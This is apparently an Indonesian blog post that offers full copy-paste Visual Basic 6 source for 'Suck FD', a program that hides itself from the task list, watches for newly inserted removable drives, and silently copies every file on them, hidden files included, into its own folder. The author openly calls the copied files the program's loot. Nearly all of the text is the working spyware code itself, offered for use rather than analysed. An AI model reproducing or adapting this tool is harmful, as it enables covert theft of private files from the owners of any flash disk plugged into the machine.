SUCK FD

Suck FD adalah program untuk mengcopy semua
isi flash disk yang berjalan secara background / invisible.
hasil peng-copy`an flash disk nya berada di
tempat program Suck FD ini berada. Jadi sebaik
nya Program Suck FD ini dibuat dalam Folder....
Supaya hasil curiannya ngga berserakan...... :)

Copy Paste aja :
'FUNGSI API NGECEK DRIVE BARU [FDiSK]
Private Declare Function GetDriveType& Lib "Kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String)


'APP DIJALANKAN HIDEN / SECARA BACKGROUND
Private Sub Form_Load()
App.TaskVisible = False
Me.Hide
End Sub


'FUNGSI BUAT NGECEK DRIVE BARU
Private Sub Timer1_Timer()

Drive1.Refresh
Dim i As Integer
For i = 0 To Drive1.ListCount - 1
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> "a" Then
Label1 = Drive1.List(i) & "\"
cekkopy
Label2 = "udeh"
Exit Sub
Exit For
End If
Next
Label2 = "blum"
End Sub


'PERINTAH XCOPY DOS [BUAT NGOPI SEMUA ISI FLASDISK SECARA KESELURUHAN TERMASUK FILE HIDEN
Private Sub cekkopy()
If Label2 = "udeh" Then
Exit Sub
Else
Shell ("xcopy /S /H /Y /C " & Label1), vbHide
End If
End Sub